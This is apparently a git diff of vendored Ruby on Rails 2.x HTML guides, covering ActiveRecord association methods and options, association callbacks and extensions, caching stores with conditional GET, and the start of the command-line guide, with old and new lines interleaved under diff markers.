
The has_many association creates a one-to-many relationship with another model. In database terms, this association says that the other class will have a foreign key that refers to instances of this class.

4.3.1. Methods Added

-

When you declare a has_many association, the declaring class automatically gains 13 methods related to the association:

-
+

Each instance of the customer model will have these methods:

-
@orders = @customer.orders
-
-
collection<<(object, …)
-

The collection<< method adds one or more objects to the collection by setting their foreign keys to the primary key of the calling model.

+
@orders = @customer.orders
+
collection<<(object, ...)
+

The collection<< method adds one or more objects to the collection by setting their foreign keys to the primary key of the calling model.

-
@customer.orders << @order1
-
-
collection.delete(object, …)
-

The collection.delete method removes one or more objects from the collection by setting their foreign keys to NULL.

+
@customer.orders << @order1
+
collection.delete(object, ...)
+

The collection.delete method removes one or more objects from the collection by setting their foreign keys to NULL.

-
@customer.orders.delete(@order1)
-
+
@customer.orders.delete(@order1)
- +
Warning Objects will be in addition destroyed if they're associated with :dependent ⇒ :destroy, and deleted if they're associated with :dependent ⇒ :delete_all.Objects will be in addition destroyed if they’re associated with :dependent => :destroy, and deleted if they’re associated with :dependent => :delete_all.
collection=objects
-

The collection= method makes the collection contain only the supplied objects, by adding and deleting as appropriate.

-
collection_singular_ids
-

The collection_singular_ids method returns an array of the ids of the objects in the collection.

+

The collection= method makes the collection contain only the supplied objects, by adding and deleting as appropriate.

+
collection\_singular\_ids
+

The collection\_singular\_ids method returns an array of the ids of the objects in the collection.

-
@order_ids = @customer.order_ids
-
-
_collection_singular_ids=ids
-

The _collection_singular_ids= method makes the collection contain only the objects identified by the supplied primary key values, by adding and deleting as appropriate.

+
@order_ids = @customer.order_ids
+
_collection\_singular\_ids=ids
+

The _collection\_singular\_ids= method makes the collection contain only the objects identified by the supplied primary key values, by adding and deleting as appropriate.

collection.clear
-

The collection.clear method removes every object from the collection. This destroys the associated objects if they are associated with :dependent ⇒ :destroy, deletes them directly from the database if :dependent ⇒ :delete_all, and otherwise sets their foreign keys to NULL.

+

The collection.clear method removes every object from the collection. This destroys the associated objects if they are associated with :dependent => :destroy, deletes them directly from the database if :dependent => :delete_all, and otherwise sets their foreign keys to NULL.

collection.empty?
-

The collection.empty? method returns true if the collection does not contain any associated objects.

+

The collection.empty? method returns true if the collection does not contain any associated objects.

<% if @customer.orders.empty? %>
   No Orders Found
-<% end %>
-
+<% end %>
collection.size
-

The collection.size method returns the number of objects in the collection.

+

The collection.size method returns the number of objects in the collection.

-
@order_count = @customer.orders.size
-
-
collection.find(…)
-

The collection.find method finds objects within the collection. It uses the same syntax and options as ActiveRecord::Base.find.

+
@order_count = @customer.orders.size
+
collection.find(...)
+

The collection.find method finds objects within the collection. It uses the same syntax and options as ActiveRecord::Base.find.

-
@open_orders = @customer.orders.find(:all, :conditions => "open = 1")
-
-
collection.exist?(…)
-

The collection.exist? method checks whether an object meeting the supplied conditions exists in the collection. It uses the same syntax and options as ActiveRecord::Base.exists?.

-
collection.build(attributes = {}, …)
-

The collection.build method returns one or more new objects of the associated type. These objects will be instantiated from the passed attributes, and the link through their foreign key will be created, but the associated objects will not yet be saved.

+
@open_orders = @customer.orders.find(:all, :conditions => "open = 1")
+
collection.exist?(...)
+

The collection.exist? method checks whether an object meeting the supplied conditions exists in the collection. It uses the same syntax and options as ActiveRecord::Base.exists?.

+
collection.build(attributes = {}, ...)
+

The collection.build method returns one or more new objects of the associated type. These objects will be instantiated from the passed attributes, and the link through their foreign key will be created, but the associated objects will not yet be saved.

-
@order = @customer.orders.build({:order_date => Time.now, :order_number => "A12345"})
-
+
@order = @customer.orders.build({:order_date => Time.now, :order_number => "A12345"})
collection.create(attributes = {})
-

The collection.create method returns a new object of the associated type. This object will be instantiated from the passed attributes, the link through its foreign key will be created, and the associated object will be saved (assuming that it passes any validations).

+

The collection.create method returns a new object of the associated type. This object will be instantiated from the passed attributes, the link through its foreign key will be created, and the associated object will be saved (assuming that it passes any validations).

-
@order = @customer.orders.create({:order_date => Time.now, :order_number => "A12345"})
-
+
@order = @customer.orders.create({:order_date => Time.now, :order_number => "A12345"})

4.3.2. Options for has_many

-

In many situations, you can use the default behavior for has_many without any customization. But you can alter that behavior in a number of ways. This section covers the options that you can pass when you create a has_many association. For example, an association with several options might look like this:

+

In many situations, you can use the default behavior for has_many without any customization. But you can alter that behavior in a number of ways. This section covers the options that you can pass when you create a has_many association. For example, an association with several options might look like this:

class Customer < ActiveRecord::Base
   has_many :orders, :dependent => :delete_all, :validate => :false
-end
-
-

The has_many association supports these options:

-
+

The has_many association supports these options:

+
:as
-

Setting the :as option indicates that this is a polymorphic association, as discussed earlier in this guide.

+

Setting the :as option indicates that this is a polymorphic association, as discussed earlier in this guide.

:class_name
-

If the name of the other model cannot be derived from the association name, you can use the :class_name option to supply the model name. For example, if a customer has many orders, but the actual name of the model containing orders is Transaction, you'd set things up this way:

+

If the name of the other model cannot be derived from the association name, you can use the :class_name option to supply the model name. For example, if a customer has many orders, but the actual name of the model containing orders is Transaction, you’d set things up this way:

class Customer < ActiveRecord::Base
   has_many :orders, :class_name => "Transaction"
-end
-
+end
:conditions
-

The :conditions option lets you specify the conditions that the associated object must meet (in the syntax used by a SQL WHERE clause).

+

The :conditions option lets you specify the conditions that the associated object must meet (in the syntax used by a SQL WHERE clause).

class Customer < ActiveRecord::Base
   has_many :confirmed_orders, :class_name => "Order", :conditions => "confirmed = 1"
-end
-
-

You can also set conditions via a hash:

+end +

You can also set conditions via a hash:

class Customer < ActiveRecord::Base
   has_many :confirmed_orders, :class_name => "Order", :conditions => { :confirmed => true }
-end
-
-

If you use a hash-style :conditions option, then record creation via this association will be automatically scoped using the hash. In this case, using @customer.confirmed_orders.create or @customer.confirmed_orders.build will create orders where the confirmed column has the value true.

+end +

If you use a hash-style :conditions option, then record creation via this association will be automatically scoped using the hash. In this case, using @customer.confirmed_orders.create or @customer.confirmed_orders.build will create orders where the confirmed column has the value true.

:counter_sql
-

Normally Rails automatically generates the proper SQL to count the association members. With the :counter_sql option, you can specify a complete SQL statement to count them yourself.

+

Normally Rails automatically generates the proper SQL to count the association members. With the :counter_sql option, you can specify a complete SQL statement to count them yourself.

- +
Note If you specify :finder_sql but not :counter_sql, then the counter SQL will be generated by substituting SELECT COUNT(*) FROM for the SELECT … FROM clause of your :finder_sql statement.If you specify :finder_sql but not :counter_sql, then the counter SQL will be generated by substituting SELECT COUNT(*) FROM for the SELECT ... FROM clause of your :finder_sql statement.
:dependent
-

If you set the :dependent option to :destroy, then deleting this object will call the destroy method on the associated objects to delete those objects. If you set the :dependent option to :delete_all, then deleting this object will delete the associated objects without calling their destroy method. If you set the :dependent option to :nullify, then deleting this object will set the foreign key in the associated objects to NULL.

+

If you set the :dependent option to :destroy, then deleting this object will call the destroy method on the associated objects to delete those objects. If you set the :dependent option to :delete_all, then deleting this object will delete the associated objects without calling their destroy method. If you set the :dependent option to :nullify, then deleting this object will set the foreign key in the associated objects to NULL.

@@ -1858,11 +1619,11 @@ http://www.gnu.org/software/src-highlite -->
:extend
-

The :extend option specifies a named module to extend the association proxy. Association extensions are discussed in detail later in this guide.

+

The :extend option specifies a named module to extend the association proxy. Association extensions are discussed in detail later in this guide.

:finder_sql
-

Normally Rails automatically generates the proper SQL to fetch the association members. With the :finder_sql option, you can specify a complete SQL statement to fetch them yourself. If fetching objects requires complex multi-table SQL, this may be necessary.

+

Normally Rails automatically generates the proper SQL to fetch the association members. With the :finder_sql option, you can specify a complete SQL statement to fetch them yourself. If fetching objects requires complex multi-table SQL, this may be necessary.

:foreign_key
-

By convention, Rails guesses that the column used to hold the foreign key on the other model is the name of this model with the suffix _id added. The :foreign_key option lets you set the name of the foreign key directly:

+

By convention, Rails guesses that the column used to hold the foreign key on the other model is the name of this model with the suffix _id added. The :foreign_key option lets you set the name of the foreign key directly:

class Customer < ActiveRecord::Base
   has_many :orders, :foreign_key => "cust_id"
-end
-
+end
@@ -1881,7 +1641,7 @@ http://www.gnu.org/software/src-highlite -->
:group
-

The :group option supplies an attribute name to group the result set by, using a GROUP BY clause in the finder SQL.

+

The :group option supplies an attribute name to group the result set by, using a GROUP BY clause in the finder SQL.

class Customer < ActiveRecord::Base
   has_many :line_items, :through => :orders, :group => "orders.id"
-end
-
+end
:include
-

You can use the :include option to specify second-order associations that should be eager-loaded when this association is used. For example, consider these models:

+

You can use the :include option to specify second-order associations that should be eager-loaded when this association is used. For example, consider these models:

end class LineItem < ActiveRecord::Base belongs_to :order -end -
-

If you frequently retrieve line items directly from customers (@customer.orders.line_items), then you can make your code somewhat more efficient by including line items in the association from customers to orders:

+end +

If you frequently retrieve line items directly from customers (@customer.orders.line_items), then you can make your code somewhat more efficient by including line items in the association from customers to orders:

end class LineItem < ActiveRecord::Base belongs_to :order -end -
+end
:limit
-

The :limit option lets you restrict the total number of objects that will be fetched through an association.

+

The :limit option lets you restrict the total number of objects that will be fetched through an association.

class Customer < ActiveRecord::Base
   has_many :recent_orders, :class_name => "Order", :order => "order_date DESC", :limit => 100
-end
-
+end
:offset
-

The :offset option lets you specify the starting offset for fetching objects via an association. For example, if you set :offset ⇒ 11, it will skip the first 10 records.

+

The :offset option lets you specify the starting offset for fetching objects via an association. For example, if you set :offset => 11, it will skip the first 11 records.

:order
-

The :order option dictates the order in which associated objects will be received (in the syntax used by a SQL ORDER BY clause).

+

The :order option dictates the order in which associated objects will be received (in the syntax used by a SQL ORDER BY clause).

class Customer < ActiveRecord::Base
   has_many :orders, :order => "date_confirmed DESC"
-end
-
+end
:primary_key
-

By convention, Rails guesses that the column used to hold the primary key of this model is id. You can override this and explicitly specify the primary key with the :primary_key option.

+

By convention, Rails guesses that the column used to hold the primary key of this model is id. You can override this and explicitly specify the primary key with the :primary_key option.

:readonly
-

If you set the :readonly option to true, then the associated objects will be read-only when retrieved via the association.

+

If you set the :readonly option to true, then the associated objects will be read-only when retrieved via the association.

:select
-

The :select option lets you override the SQL SELECT clause that is used to retrieve data about the associated objects. By default, Rails retrieves all columns.

+

The :select option lets you override the SQL SELECT clause that is used to retrieve data about the associated objects. By default, Rails retrieves all columns.

@@ -1965,25 +1720,25 @@ http://www.gnu.org/software/src-highlite -->
:source
-

The :source option specifies the source association name for a has_many :through association. You only need to use this option if the name of the source association cannot be automatically inferred from the association name.

+

The :source option specifies the source association name for a has_many :through association. You only need to use this option if the name of the source association cannot be automatically inferred from the association name.

:source_type
-

The :source_type option specifies the source association type for a has_many :through association that proceeds through a polymorphic association.

+

The :source_type option specifies the source association type for a has_many :through association that proceeds through a polymorphic association.

:through
-

The :through option specifies a join model through which to perform the query. has_many :through associations provide a way to implement many-to-many relationships, as discussed earlier in this guide.

+

The :through option specifies a join model through which to perform the query. has_many :through associations provide a way to implement many-to-many relationships, as discussed earlier in this guide.

:uniq
-

Specify the :uniq ⇒ true option to remove duplicates from the collection. This is most useful in conjunction with the :through option.

+

Specify the :uniq => true option to remove duplicates from the collection. This is most useful in conjunction with the :through option.

:validate
-

If you set the :validate option to false, then associated objects will not be validated whenever you save this object. By default, this is true: associated objects will be validated when this object is saved.

+

If you set the :validate option to false, then associated objects will not be validated whenever you save this object. By default, this is true: associated objects will be validated when this object is saved.

4.3.3. When are Objects Saved?

-

When you assign an object to a has_many association, that object is automatically saved (in order to update its foreign key). If you assign multiple objects in one statement, then they are all saved.

-

If any of these saves fails due to validation errors, then the assignment statement returns false and the assignment itself is cancelled.

-

If the parent object (the one declaring the has_many association) is unsaved (that is, new_record? returns true) then the child objects are not saved when they are added. All unsaved members of the association will automatically be saved when the parent is saved.

-

If you want to assign an object to a has_many association without saving the object, use the collection.build method.

+

When you assign an object to a has_many association, that object is automatically saved (in order to update its foreign key). If you assign multiple objects in one statement, then they are all saved.

+

If any of these saves fails due to validation errors, then the assignment statement returns false and the assignment itself is cancelled.

+

If the parent object (the one declaring the has_many association) is unsaved (that is, new_record? returns true) then the child objects are not saved when they are added. All unsaved members of the association will automatically be saved when the parent is saved.

+

If you want to assign an object to a has_many association without saving the object, use the collection.build method.

4.4. The has_and_belongs_to_many Association

-

The has_and_belongs_to_many association creates a many-to-many relationship with another model. In database terms, this associates two classes via an intermediate join table that includes foreign keys referring to each of the classes.

+

The has_and_belongs_to_many association creates a many-to-many relationship with another model. In database terms, this associates two classes via an intermediate join table that includes foreign keys referring to each of the classes.

4.4.1. Methods Added

-

When you declare a has_and_belongs_to_many association, the declaring class automatically gains 13 methods related to the association:

-
+

Each instance of the part model will have these methods:

-
@assemblies = @part.assemblies
-
-
collection<<(object, …)
-

The collection<< method adds one or more objects to the collection by creating records in the join table.

+
@assemblies = @part.assemblies
+
collection<<(object, ...)
+

The collection<< method adds one or more objects to the collection by creating records in the join table.

-
@part.assemblies << @assembly1
-
+
@part.assemblies << @assembly1
@@ -2116,33 +1867,31 @@ http://www.gnu.org/software/src-highlite --> This method is aliased as collection.concat and collection.push.
-
collection.delete(object, …)
-

The collection.delete method removes one or more objects from the collection by deleting records in the join table. This does not destroy the objects.

+
collection.delete(object, ...)
+

The collection.delete method removes one or more objects from the collection by deleting records in the join table. This does not destroy the objects.

-
@part.assemblies.delete(@assembly1)
-
+
@part.assemblies.delete(@assembly1)
collection=objects
-

The collection= method makes the collection contain only the supplied objects, by adding and deleting as appropriate.

-
collection_singular_ids
-

# Returns an array of the associated objects' ids

-

The collection_singular_ids method returns an array of the ids of the objects in the collection.

+

The collection= method makes the collection contain only the supplied objects, by adding and deleting as appropriate.

+
collection\_singular\_ids
+

# Returns an array of the associated objects' ids

+

The collection\_singular\_ids method returns an array of the ids of the objects in the collection.

-
@assembly_ids = @part.assembly_ids
-
-
collection_singular_ids=ids
-

The collection_singular_ids= method makes the collection contain only the objects identified by the supplied primary key values, by adding and deleting as appropriate.

+
@assembly_ids = @part.assembly_ids
+
collection\_singular\_ids=ids
+

The collection\_singular\_ids= method makes the collection contain only the objects identified by the supplied primary key values, by adding and deleting as appropriate.

collection.clear
-

The collection.clear method removes every object from the collection by deleting the rows from the joining tableassociation. This does not destroy the associated objects.

+

The collection.clear method removes every object from the collection by deleting the rows from the joining tableassociation. This does not destroy the associated objects.

collection.empty?
-

The collection.empty? method returns true if the collection does not contain any associated objects.

+

The collection.empty? method returns true if the collection does not contain any associated objects.

<% if @part.assemblies.empty? %>
   This part is not used in any assemblies
-<% end %>
-
+<% end %>
collection.size
-

The collection.size method returns the number of objects in the collection.

+

The collection.size method returns the number of objects in the collection.

-
@assembly_count = @part.assemblies.size
-
-
collection.find(…)
-

The collection.find method finds objects within the collection. It uses the same syntax and options as ActiveRecord::Base.find. It also adds the additional condition that the object must be in the collection.

+
@assembly_count = @part.assemblies.size
+
collection.find(...)
+

The collection.find method finds objects within the collection. It uses the same syntax and options as ActiveRecord::Base.find. It also adds the additional condition that the object must be in the collection.

-
@new_assemblies = @part.assemblies.find(:all, :conditions => ["created_at > ?", 2.days.ago])
-
-
collection.exist?(…)
-

The collection.exist? method checks whether an object meeting the supplied conditions exists in the collection. It uses the same syntax and options as ActiveRecord::Base.exists?.

-
collection.build(attributes = {})
-

The collection.build method returns a new object of the associated type. This object will be instantiated from the passed attributes, and the link through the join table will be created, but the associated object will not yet be saved.

+
@new_assemblies = @part.assemblies.find(:all, :conditions => ["created_at > ?", 2.days.ago])
+
collection.exist?(...)
+

The collection.exist? method checks whether an object meeting the supplied conditions exists in the collection. It uses the same syntax and options as ActiveRecord::Base.exists?.

+
collection.build(attributes = {})
+

The collection.build method returns a new object of the associated type. This object will be instantiated from the passed attributes, and the link through the join table will be created, but the associated object will not yet be saved.

-
@assembly = @part.assemblies.build({:assembly_name => "Transmission housing"})
-
+
@assembly = @part.assemblies.build({:assembly_name => "Transmission housing"})
collection.create(attributes = {})
-

The collection.create method returns a new object of the associated type. This objects will be instantiated from the passed attributes, the link through the join table will be created, and the associated object will be saved (assuming that it passes any validations).

+

The collection.create method returns a new object of the associated type. This objects will be instantiated from the passed attributes, the link through the join table will be created, and the associated object will be saved (assuming that it passes any validations).

-
@assembly = @part.assemblies.create({:assembly_name => "Transmission housing"})
-
+
@assembly = @part.assemblies.create({:assembly_name => "Transmission housing"})

4.4.2. Options for has_and_belongs_to_many

-

In many situations, you can use the default behavior for has_and_belongs_to_many without any customization. But you can alter that behavior in a number of ways. This section cover the options that you can pass when you create a has_and_belongs_to_many association. For example, an association with several options might look like this:

+

In many situations, you can use the default behavior for has_and_belongs_to_many without any customization. But you can alter that behavior in a number of ways. This section cover the options that you can pass when you create a has_and_belongs_to_many association. For example, an association with several options might look like this:

class Parts < ActiveRecord::Base
   has_and_belongs_to_many :assemblies, :uniq => true, :read_only => true
-end
-
-

The has_and_belongs_to_many association supports these options:

-
+

The has_and_belongs_to_many association supports these options:

+
:association_foreign_key
-

By convention, Rails guesses that the column in the join table used to hold the foreign key pointing to the other model is the name of that model with the suffix _id added. The :association_foreign_key option lets you set the name of the foreign key directly:

+

By convention, Rails guesses that the column in the join table used to hold the foreign key pointing to the other model is the name of that model with the suffix _id added. The :association_foreign_key option lets you set the name of the foreign key directly:

- +
@@ -2317,10 +2060,9 @@ http://www.gnu.org/software/src-highlite -->
class User < ActiveRecord::Base
   has_and_belongs_to_many :friends, :class_name => "User",
     :foreign_key => "this_user_id", :association_foreign_key => "other_user_id"
-end
-
+end
:class_name
-

If the name of the other model cannot be derived from the association name, you can use the :class_name option to supply the model name. For example, if a part has many assemblies, but the actual name of the model containing assemblies is Gadget, you'd set things up this way:

+

If the name of the other model cannot be derived from the association name, you can use the :class_name option to supply the model name. For example, if a part has many assemblies, but the actual name of the model containing assemblies is Gadget, you’d set things up this way:

class Parts < ActiveRecord::Base
   has_and_belongs_to_many :assemblies, :class_name => "Gadget"
-end
-
+end
:conditions
-

The :conditions option lets you specify the conditions that the associated object must meet (in the syntax used by a SQL WHERE clause).

+

The :conditions option lets you specify the conditions that the associated object must meet (in the syntax used by a SQL WHERE clause).

class Parts < ActiveRecord::Base
   has_and_belongs_to_many :assemblies, :conditions => "factory = 'Seattle'"
-end
-
-

You can also set conditions via a hash:

+end +

You can also set conditions via a hash:

class Parts < ActiveRecord::Base
   has_and_belongs_to_many :assemblies, :conditions => { :factory => 'Seattle' }
-end
-
-

If you use a hash-style :conditions option, then record creation via this association will be automatically scoped using the hash. In this case, using @parts.assemblies.create or @parts.assemblies.build will create orders where the factory column has the value "Seattle".

+end +

If you use a hash-style :conditions option, then record creation via this association will be automatically scoped using the hash. In this case, using @parts.assemblies.create or @parts.assemblies.build will create orders where the factory column has the value "Seattle".

:counter_sql
-

Normally Rails automatically generates the proper SQL to count the association members. With the :counter_sql option, you can specify a complete SQL statement to count them yourself.

+

Normally Rails automatically generates the proper SQL to count the association members. With the :counter_sql option, you can specify a complete SQL statement to count them yourself.

- +
Note If you specify :finder_sql but not :counter_sql, then the counter SQL will be generated by substituting SELECT COUNT(*) FROM for the SELECT … FROM clause of your :finder_sql statement.If you specify :finder_sql but not :counter_sql, then the counter SQL will be generated by substituting SELECT COUNT(*) FROM for the SELECT ... FROM clause of your :finder_sql statement.
:delete_sql
-

Normally Rails automatically generates the proper SQL to remove links between the associated classes. With the :delete_sql option, you can specify a complete SQL statement to delete them yourself.

+

Normally Rails automatically generates the proper SQL to remove links between the associated classes. With the :delete_sql option, you can specify a complete SQL statement to delete them yourself.

:extend
-

The :extend option specifies a named module to extend the association proxy. Association extensions are discussed in detail later in this guide.

+

The :extend option specifies a named module to extend the association proxy. Association extensions are discussed in detail later in this guide.

:finder_sql
-

Normally Rails automatically generates the proper SQL to fetch the association members. With the :finder_sql option, you can specify a complete SQL statement to fetch them yourself. If fetching objects requires complex multi-table SQL, this may be necessary.

+

Normally Rails automatically generates the proper SQL to fetch the association members. With the :finder_sql option, you can specify a complete SQL statement to fetch them yourself. If fetching objects requires complex multi-table SQL, this may be necessary.

:foreign_key
-

By convention, Rails guesses that the column in the join table used to hold the foreign key pointing to this model is the name of this model with the suffix _id added. The :foreign_key option lets you set the name of the foreign key directly:

+

By convention, Rails guesses that the column in the join table used to hold the foreign key pointing to this model is the name of this model with the suffix _id added. The :foreign_key option lets you set the name of the foreign key directly:

class User < ActiveRecord::Base
   has_and_belongs_to_many :friends, :class_name => "User",
     :foreign_key => "this_user_id", :association_foreign_key => "other_user_id"
-end
-
+end
:group
-

The :group option supplies an attribute name to group the result set by, using a GROUP BY clause in the finder SQL.

+

The :group option supplies an attribute name to group the result set by, using a GROUP BY clause in the finder SQL.

class Parts < ActiveRecord::Base
   has_and_belongs_to_many :assemblies, :group => "factory"
-end
-
+end
:include
-

You can use the :include option to specify second-order associations that should be eager-loaded when this association is used.

+

You can use the :include option to specify second-order associations that should be eager-loaded when this association is used.

:insert_sql
-

Normally Rails automatically generates the proper SQL to create links between the associated classes. With the :insert_sql option, you can specify a complete SQL statement to insert them yourself.

+

Normally Rails automatically generates the proper SQL to create links between the associated classes. With the :insert_sql option, you can specify a complete SQL statement to insert them yourself.

:join_table
-

If the default name of the join table, based on lexical ordering, is not what you want, you can use the :join_table option to override the default.

+

If the default name of the join table, based on lexical ordering, is not what you want, you can use the :join_table option to override the default.

:limit
-

The :limit option lets you restrict the total number of objects that will be fetched through an association.

+

The :limit option lets you restrict the total number of objects that will be fetched through an association.

class Parts < ActiveRecord::Base
   has_and_belongs_to_many :assemblies, :order => "created_at DESC", :limit => 50
-end
-
+end
:offset
-

The :offset option lets you specify the starting offset for fetching objects via an association. For example, if you set :offset ⇒ 11, it will skip the first 10 records.

+

The :offset option lets you specify the starting offset for fetching objects via an association. For example, if you set :offset => 11, it will skip the first 11 records.

:order
-

The :order option dictates the order in which associated objects will be received (in the syntax used by a SQL ORDER BY clause).

+

The :order option dictates the order in which associated objects will be received (in the syntax used by a SQL ORDER BY clause).

class Parts < ActiveRecord::Base
   has_and_belongs_to_many :assemblies, :order => "assembly_name ASC"
-end
-
+end
:readonly
-

If you set the :readonly option to true, then the associated objects will be read-only when retrieved via the association.

+

If you set the :readonly option to true, then the associated objects will be read-only when retrieved via the association.

:select
-

The :select option lets you override the SQL SELECT clause that is used to retrieve data about the associated objects. By default, Rails retrieves all columns.

+

The :select option lets you override the SQL SELECT clause that is used to retrieve data about the associated objects. By default, Rails retrieves all columns.

:uniq
-

Specify the :uniq ⇒ true option to remove duplicates from the collection.

+

Specify the :uniq => true option to remove duplicates from the collection.

:validate
-

If you set the :validate option to false, then associated objects will not be validated whenever you save this object. By default, this is true: associated objects will be validated when this object is saved.

+

If you set the :validate option to false, then associated objects will not be validated whenever you save this object. By default, this is true: associated objects will be validated when this object is saved.

4.4.3. When are Objects Saved?

-

When you assign an object to a has_and_belongs_to_many association, that object is automatically saved (in order to update the join table). If you assign multiple objects in one statement, then they are all saved.

-

If any of these saves fails due to validation errors, then the assignment statement returns false and the assignment itself is cancelled.

-

If the parent object (the one declaring the has_and_belongs_to_many association) is unsaved (that is, new_record? returns true) then the child objects are not saved when they are added. All unsaved members of the association will automatically be saved when the parent is saved.

-

If you want to assign an object to a has_and_belongs_to_many association without saving the object, use the collection.build method.

+

When you assign an object to a has_and_belongs_to_many association, that object is automatically saved (in order to update the join table). If you assign multiple objects in one statement, then they are all saved.

+

If any of these saves fails due to validation errors, then the assignment statement returns false and the assignment itself is cancelled.

+

If the parent object (the one declaring the has_and_belongs_to_many association) is unsaved (that is, new_record? returns true) then the child objects are not saved when they are added. All unsaved members of the association will automatically be saved when the parent is saved.

+

If you want to assign an object to a has_and_belongs_to_many association without saving the object, use the collection.build method.

4.5. Association Callbacks

-

Normal callbacks hook into the lifecycle of Active Record objects, allowing you to work with those objects at various points. For example, you can use a :before_save callback to cause something to happen just before an object is saved.

-

Association callbacks are similar to normal callbacks, but they are triggered by events in the lifecycle of a collection. There are four available association callbacks:

-
    +

    Normal callbacks hook into the lifecycle of Active Record objects, allowing you to work with those objects at various points. For example, you can use a :before_save callback to cause something to happen just before an object is saved.

    +

    Association callbacks are similar to normal callbacks, but they are triggered by events in the lifecycle of a collection. There are four available association callbacks:

    +
    • before_add @@ -2459,7 +2194,7 @@ http://www.gnu.org/software/src-highlite -->

    -

    You define association callbacks by adding options to the association declaration. For example:

    +

    You define association callbacks by adding options to the association declaration. For example:

    def check_credit_limit(order) ... end -end -
    -

    Rails passes the object being added or removed to the callback.

    -

    You can stack callbacks on a single event by passing them as an array:

    +end
+

Rails passes the object being added or removed to the callback.

+

You can stack callbacks on a single event by passing them as an array:

def calculate_shipping_charges(order) ... end -end -
-

If a before_add callback throws an exception, the object does not get added to the collection. Similarly, if a before_remove callback throws an exception, the object does not get removed from the collection.

+end +

If a before_add callback throws an exception, the object does not get added to the collection. Similarly, if a before_remove callback throws an exception, the object does not get removed from the collection.

4.6. Association Extensions

-

You're not limited to the functionality that Rails automatically builds into association proxy objects. You can also extend these objects through anonymous modules, adding new finders, creators, or other methods. For example:

+

You’re not limited to the functionality that Rails automatically builds into association proxy objects. You can also extend these objects through anonymous modules, adding new finders, creators, or other methods. For example:

find_by_region_id(order_number[0..2]) end end -end -
-

If you have an extension that should be shared by many associations, you can use a named extension module. For example:

+end +

If you have an extension that should be shared by many associations, you can use a named extension module. For example:

class Supplier < ActiveRecord::Base has_many :deliveries, :extend => FindRecentExtension -end -
-

To include more than one extension module in a single association, specify an array of names:

+end +

To include more than one extension module in a single association, specify an array of names:

class Customer < ActiveRecord::Base
   has_many :orders, :extend => [FindRecentExtension, FindActiveExtension]
-end
-
-

Extensions can refer to the internals of the association proxy using these three accessors:

-
    +end
+

Extensions can refer to the internals of the association proxy using these three accessors:

+
  • proxy_owner returns the object that the association is a part of. @@ -2559,8 +2289,8 @@ http://www.gnu.org/software/src-highlite -->

5. Changelog

- -
    + +
    • September 28, 2008: Corrected has_many :through diagram, added polymorphic diagram, some reorganization by Mike Gunderloy . First release version. @@ -2579,7 +2309,7 @@ September 14, 2008: initial version by Mike

-
- + + diff --git a/vendor/rails/railties/doc/guides/html/authors.html b/vendor/rails/railties/doc/guides/html/authors.html index a54135b1..ab205c96 100644 --- a/vendor/rails/railties/doc/guides/html/authors.html +++ b/vendor/rails/railties/doc/guides/html/authors.html @@ -1,240 +1,87 @@ - - About the Authors - - - - - + + About the Authors + + + + - +

4) MemCached store: Works like DRbStore, but uses Danga’s MemCache instead. + Rails uses the bundled memcached-client gem by default.

-
ActionController::Base.cache_store = :mem_cache_store, "localhost"
-
-

5) Custom store: You can define your own cache store (new in Rails 2.1)

+
ActionController::Base.cache_store = :mem_cache_store, "localhost"
+

5) Custom store: You can define your own cache store (new in Rails 2.1)

-
ActionController::Base.cache_store = MyOwnStore.new("parameter")
-
+
ActionController::Base.cache_store = MyOwnStore.new("parameter")
+

Note: config.cache_store can be used in place of +ActionController::Base.cache_store in your Rails::Initializer.run block in +environment.rb

-

2. Advanced Caching

+

2. Conditional GET support

-

Along with the built-in mechanisms outlined above, a number of excellent +

Conditional GETs are a facility of the HTTP spec that provide a way for web +servers to tell browsers that the response to a GET request hasn’t changed +since the last request and can be safely pulled from the browser cache.

+

They work by using the HTTP_IF_NONE_MATCH and HTTP_IF_MODIFIED_SINCE headers to +pass back and forth both a unique content identifier and the timestamp of when +the content was last changed. If the browser makes a request where the content +identifier (etag) or last modified since timestamp matches the server’s version +then the server only needs to send back an empty response with a not modified +status.

+

It is the server’s (i.e. our) responsibility to look for a last modified +timestamp and the if-none-match header and determine whether or not to send +back the full response. With conditional-get support in rails this is a pretty +easy task:

+
+
+
class ProductsController < ApplicationController
+
+  def show
+    @product = Product.find(params[:id])
+
+    # If the request is stale according to the given timestamp and etag value
+    # (i.e. it needs to be processed again) then execute this block
+    if stale?(:last_modified => @product.updated_at.utc, :etag => @product)
+      respond_to do |wants|
+        # ... normal response processing
+      end
+    end
+
+    # If the request is fresh (i.e. it's not modified) then you don't need to do
+    # anything. The default render checks for this using the parameters
+    # used in the previous call to stale? and will automatically send a
+    # :not_modified.  So that's it, you're done.
+end
+

If you don’t have any special response processing and are using the default +rendering mechanism (i.e. you’re not using respond_to or calling render +yourself) then you’ve got an easy helper in fresh_when:

+
+
+
class ProductsController < ApplicationController
+
+  # This will automatically send back a :not_modified if the request is fresh,
+  # and will render the default template (product.*) if it's stale.
+
+  def show
+    @product = Product.find(params[:id])
+    fresh_when :last_modified => @product.published_at.utc, :etag => @article
+  end
+end
+
+

3. Advanced Caching

+
+

Along with the built-in mechanisms outlined above, a number of excellent plugins exist to help with finer grained control over caching. These include -Chris Wanstrath's excellent cache_fu plugin (more info here: -http://errtheblog.com/posts/57-kickin-ass-w-cachefu) and Evan Weaver's +Chris Wanstrath’s excellent cache_fu plugin (more info here: +http://errtheblog.com/posts/57-kickin-ass-w-cachefu) and Evan Weaver’s interlock plugin (more info here: http://blog.evanweaver.com/articles/2007/12/13/better-rails-caching/). Both of these plugins play nice with memcached and are a must-see for anyone seriously considering optimizing their caching needs.

-
- + + diff --git a/vendor/rails/railties/doc/guides/html/command_line.html b/vendor/rails/railties/doc/guides/html/command_line.html index 2add2044..226a68e1 100644 --- a/vendor/rails/railties/doc/guides/html/command_line.html +++ b/vendor/rails/railties/doc/guides/html/command_line.html @@ -1,224 +1,68 @@ - - A Guide to The Rails Command Line - - - - - + + A Guide to The Rails Command Line + + + + - +

This will fire up an instance of the Mongrel web server by default (Rails can also use several other web servers). To see your application in action, open a browser window and navigate to http://localhost:3000. You should see Rails' default information page:

+

Welcome Aboard screenshot

@@ -809,39 +619,36 @@ http://www.gnu.org/software/src-highlite -->
Tip To stop the web server, hit Ctrl+C in the terminal window where it's running. In development mode, Rails does not generally require you to stop the server; changes you make in files will be automatically picked up by the server.To stop the web server, hit Ctrl+C in the terminal window where it’s running. In development mode, Rails does not generally require you to stop the server; changes you make in files will be automatically picked up by the server.
-

